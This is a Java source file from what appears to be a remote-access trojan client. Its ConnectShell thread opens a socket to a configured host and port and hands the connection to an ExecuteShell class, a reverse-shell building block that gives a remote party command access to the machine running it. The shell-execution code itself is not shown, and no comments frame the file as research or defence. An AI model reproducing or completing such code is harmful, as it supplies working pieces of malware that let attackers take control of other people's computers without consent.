/*
 * To change this template, choose Tools | Templates
 * and open the template in the editor.
 */
package ThreadClient;

import Shell.ExecuteShell;
import StaticClass.ArrSocket;
import java.io.IOException;
import java.net.Socket;
import java.net.UnknownHostException;
import java.util.logging.Level;
import java.util.logging.Logger;

/**
 *
 * @author Oho
 */
public class ConnectShell extends Thread{
    int port;

    public ConnectShell(int port) {
        this.port = port;
        
    }
    public void run()
        {
        try {
           Socket sk = new Socket(ArrSocket.HOSTNAME,port);
                   new ExecuteShell(sk).start();              
        } catch (UnknownHostException ex) {
            Logger.getLogger(ConnectFile_Tree.class.getName()).log(Level.SEVERE, null, ex);
        } catch (IOException ex) {
            Logger.getLogger(ConnectFile_Tree.class.getName()).log(Level.SEVERE, null, ex);
        }
            
        }
    
}
